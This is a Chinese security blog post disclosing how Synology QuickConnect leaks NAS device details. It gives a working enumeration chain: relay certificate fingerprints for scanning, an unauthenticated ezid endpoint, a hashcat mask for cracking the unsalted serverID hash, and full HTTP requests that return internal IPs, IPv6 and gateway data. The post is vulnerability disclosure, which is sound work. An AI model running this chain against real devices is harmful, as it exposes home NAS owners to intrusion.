群晖 QuickConnect DDNS/IPv6 信息泄露

关于 QuickConnect

  1. QuickConnect 是群晖的云服务,用于远程访问内网 NAS 设备。

  2. QC 会根据用户输入的 QC ID 获取设备信息,包括DDNS、IPv6,以自动选择最合适的远程访问方式。

  3. 如果没有上述的有效访问方式,QC 还会通过中继的方式为用户提供访问能力,中继服务器会通过端口转发的方式访问 NAS。

漏洞详情

其实这个 “漏洞” 并不能严格说是漏洞,群晖官方认为这是设计的功能,有意而为的,但个人看来该功能中存在一些对敏感信息的保护不足的情况,导致有心人可以持续枚举互联网上的 NAS 设备。

枚举中继服务器

首先我们找到中继服务器的证书,已知的指纹有这些:

1
2
cert.hash="60f00749a29cba973df45d2122e23addfce77adc4edadc4ff57db85bfa784c60"
cert.hash="809022efb39c964155d96bbfe547841371c6808021b5e568e1b617754d6f9a36"

在微步(或 zoomeye、shodan)可以搜索到全部使用此证书的资产:

随后可以针对这些IP地址,使用工具扫描中继端口。 可以使用 masscan 扫描 > 10000 的端口,也可以使用 shodan 或微步来获取,不过 masscan 更准确。

获取设备 ezid

群晖 NAS 有一个无需授权的 api:https://ip:port/webman/pingpong.cgi?action=cors&quickconnect=true

可以获得设备的 ezid 信息:

这个 ezid 其实就是 serverIDmd5 散列值。

我们可以通过 hashcat 碰撞出原始的 serverID

1
hashcat -m 0 -a 3 ezid_results.txt '0?d?d?d?d?d?d?d?d'

由于 serverID 均为 0 开头的9位纯数字,且没有加盐,所以可以在数秒内完成碰撞。

获取设备详细信息

根据上述获得的 serverID,通过 QuickConnectServ.php 接口可以获得设备的详细信息:

1
2
3
4
5
6
7
8
9
10
11
POST /Serv.php HTTP/2
Host: global.quickconnect.to
Content-Length: 165
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

[{"version":1,"command":"get_server_info","stop_when_error":false,"stop_when_success":false,"id":"mainapp_https","serverID":"012345678","is_gofile":false,"path":""}]

上述响应如果有详情则无需继续请求,否则需根据响应发送第二个请求,比如响应如下:

1
[{"command":"get_server_info","errinfo":"get_server_info.go:112[Ds info not found]","errno":4,"sites":["dec.quickconnect.to"],"suberrno":2,"version":1}]

这意味着 global.quickconnect.to 没有找到详细信息,但在其他中继上找到了,则需要根据 sites 再次请求:

1
2
3
4
5
6
7
8
9
10
11
POST /Serv.php HTTP/2
Host: dec.quickconnect.to <----- 修改此处域名, 逐个尝试 sites 中的域名
Content-Length: 165
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

[{"version":1,"command":"get_server_info","stop_when_error":false,"stop_when_success":false,"id":"mainapp_https","serverID":"012345678","is_gofile":false,"path":""}]

设备详细响应如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
[
{
"command": "get_server_info",
"env": {
"control_host": "dec.quickconnect.to",
"relay_region": "de7"
},
"errno": 0,
"server": {
"ddns": "NULL",
"ds_state": "CONNECTED",
"external": {
"ip": "217.xxx.xxx.19",
"ipv6": "::"
},
"fqdn": "NULL",
"gateway": "192.xxx.xxx.1",
"interface": [
{
"ip": "192.xxx.xxx.199",
"ipv6": [
{
"addr_type": 0,
"address": "2001:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:fa97",
"prefix_length": 64,
"scope": "global"
},
{
"addr_type": 32,
"address": "fe80::xxx:xxxx:xxxx:fa97",
"prefix_length": 64,
"scope": "link"
}
],
"mask": "255.255.255.0",
"name": "eth0"
}
],
"ipv6_tunnel": [],
"is_bsm": false,
"pingpong_path": "/webman/pingpong.cgi?action=cors&quickconnect=true",
"redirect_prefix": "",
"serverID": "xxxxxxxxx",
"tcp_punch_port": 0,
"udp_punch_port": 42935
},
"service": {
"port": 5001,
"ext_port": 5001,
"pingpong": "DISCONNECTED",
"pingpong_desc": [],
"relay_ip": "195.xxx.xxx.81",
"relay_dn": "xxx.xx.xx.quickconnect.to",
"relay_port": xxxxx,
"vpn_ip": "169.xxx.xxx.170",
"https_ip": "195.xxx.xxx.81",
"https_port": 443
},
"version": 1
}
]

关于响应字段的解析,可以参考:https://music.aqzscn.cn/docs/notes/services/audiostation/

简单来说,响应中包含:

  • DDNS
  • IPv4/6
  • 内网网关
  • 中继服务器和端口
  • serverID

我枚举了一部分:

一些想法

其实每一个环节看起来似乎都很合理没什么问题,但:

  1. 如果这些设备配置了 DDNSIPv6,就有可能导致被恶意访问。

  2. 通过 Serv 接口获取设备详细信息并不要求“近期使用过 QC”的条件,这个条件是为了获取 QC 中继端口以直接访问设备,用于通过 pingpong 接口获得 ezid。所以攻击者可以定时定期收集 ezid 数据,不断扩充收集到的数据。

  3. 没猜错的话 serverID 是与设备或账号绑定的,因此一般不会变。

  4. 获得 ezid 后很容易被碰撞出原 serverID,这一点是主要使我感到不安的地方,因为 Serv 接口只接受 ServerIDQC ID,并不接受哈希,因此如果此处使用较复杂的哈希运算,使得攻击者完全无法轻易进行碰撞,那么安全性会大幅提高。

  5. 个人认为,IPv6IPv4 更难猜测,而 DDNS 也是用户手动配置的,因此均具有一定隐秘性和随机性,但此“漏洞”会导致这些信息完全暴露。当然这一点可能比较有争议。

  6. 由于 NAS 主要在内网使用,且相当一部分用户并非专业互联网从业人员,安全保护相对会可能差一些,比如会装一些第三方套件、部署一些不安全的 web 站点或 docker 容器,或配置了匿名访问的 FTP、SMB、WebDav等服务(比如我),因此如果 NAS 能够被互联网用户直接访问,会有较大风险。

写在最后

此“漏洞”已提交给群晖官方,官方表示“非漏洞”,个人认为可以理解,但确实可以做得更好更安全。

无论群晖官方是否会做出更多加固,请务必保持安全意识,可以使用 VPN 来远程访问。严格控制暴露的端口,减小攻击面。


群晖 QuickConnect DDNS/IPv6 信息泄露
https://estamelgg.github.io/SecLabBlog/2025/08/29/synology_info_leak/
作者
Estamel GG
发布于
2025年8月29日
许可协议